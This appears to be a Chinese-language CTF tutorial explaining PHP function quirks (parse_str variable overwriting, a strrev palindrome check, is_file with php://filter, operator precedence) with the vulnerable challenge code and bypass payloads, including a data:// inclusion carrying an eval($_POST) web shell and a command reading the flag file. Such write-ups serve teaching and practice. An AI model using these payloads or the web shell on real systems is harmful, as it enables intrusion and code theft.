溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

CTF中的PHP特性函數(shù)怎么使用

發(fā)布時間:2023-02-24 15:53:02 來源:億速云 閱讀:86 作者:iii 欄目:開發(fā)技術(shù)

這篇文章主要介紹了CTF中的PHP特性函數(shù)怎么使用的相關(guān)知識,內(nèi)容詳細易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇CTF中的PHP特性函數(shù)怎么使用文章都會有所收獲,下面我們一起來看看吧。

parse_str

CTF中的PHP特性函數(shù)怎么使用

parse_str()這個函數(shù)會把查詢字符串解析到變量中。那么我們?nèi)绾卫盟奶匦阅?,我們看下面的例子?/p>

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
} ?>

分析一下代碼要求我們什么,看最后要我們數(shù)組v2等于md5(v3),而根據(jù)上面代碼v2則是由該函數(shù)經(jīng)過v1后賦值給的,那我們解題的思路就有了,利用parse_str() 函數(shù)的特點將v2[flag]的值覆蓋,那么具體要怎樣做呢?

先對數(shù)字5進行md5加密:

<?php
$b=md5('5');
echo $b;// e4da3b7fbbce2345d7772b0674a318d5
?>

之后再從v1傳入我們的值即可完成繞過:

Payload:
GET:v3=5
POST: v1=flag=e4da3b7fbbce2345d7772b0674a318d5

strrev

CTF中的PHP特性函數(shù)怎么使用

這個函數(shù)還是很好理解的,就是將字符串進行翻轉(zhuǎn),曾經(jīng)遇到過考察這個的題目覺得很有趣分享給大家,我們先看代碼:

highlight_file(__FILE__);
    $file = $_POST['file'];
    if(isset($file)){
        if(strrev($file)==$file){
            include $file;
        }

代碼很簡單,第一個是高亮代碼沒有什么用,要我們傳入file而且要使回文數(shù)等于它本身并且還要考慮如何進行攻擊,是不是不太好想,這里使用php里面的data協(xié)議,該協(xié)議可以進行寫入數(shù)據(jù),而且?>閉合后可以加任意字符不會受別的影響。于是我們構(gòu)造代碼:

data://text/plain,<?php eval($_POST[1]);?>>?;)]1[TSOP_$(lave php?<,nialp/txet//:atad&1=echo `cat /f1agaaa`;

可以看到思路還是挺巧妙的。

is_file

CTF中的PHP特性函數(shù)怎么使用

該函數(shù)檢測是不是一個常規(guī)的文件類型,在CTF中也出過繞過這個函數(shù)的題目,下面我們先看看代碼:

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} ?>

分析一下filter函數(shù)過濾了很多關(guān)鍵字符串對我們的輸入進行限制,最后還不能讓is_file檢測出來是文件,那我們要怎樣讀取flag.php文件呢,看最后有個高亮file的操作,這里就是利用點,我們要讓其等于flag文件,于是需要繞過:

這里 根據(jù)特性is_file不會識別php偽協(xié)議,于是我們構(gòu)造下面代碼:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

這樣傳入即可繞過檢測。

優(yōu)先級問題

在php里存在以下優(yōu)先級特性:

&&與||的優(yōu)先級高于=,而&&優(yōu)先級高于||

=的優(yōu)先級高于and與or

這里也可以作為考點來考,我們看下面代碼:

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        if($code == 'admin'){
            echo $flag;
        } 
    }
}

我們需要傳入三個參數(shù),之后進行類型的強制轉(zhuǎn)換,再通過判斷語句,最后需要code參數(shù)等于admin方可解題,根據(jù)優(yōu)先級原則,所以當?shù)谝粋€判斷條件為true時,直接跳過第二個條件然后判斷第三個條件,可能有一些繞,只要username=admin為真值,code=admin輸出flag,于是構(gòu)造payload:

?code=admin&password=1&username=admin

關(guān)于“CTF中的PHP特性函數(shù)怎么使用”這篇文章的內(nèi)容就介紹到這里,感謝各位的閱讀!相信大家對“CTF中的PHP特性函數(shù)怎么使用”知識都有一定的了解,大家如果還想學習更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI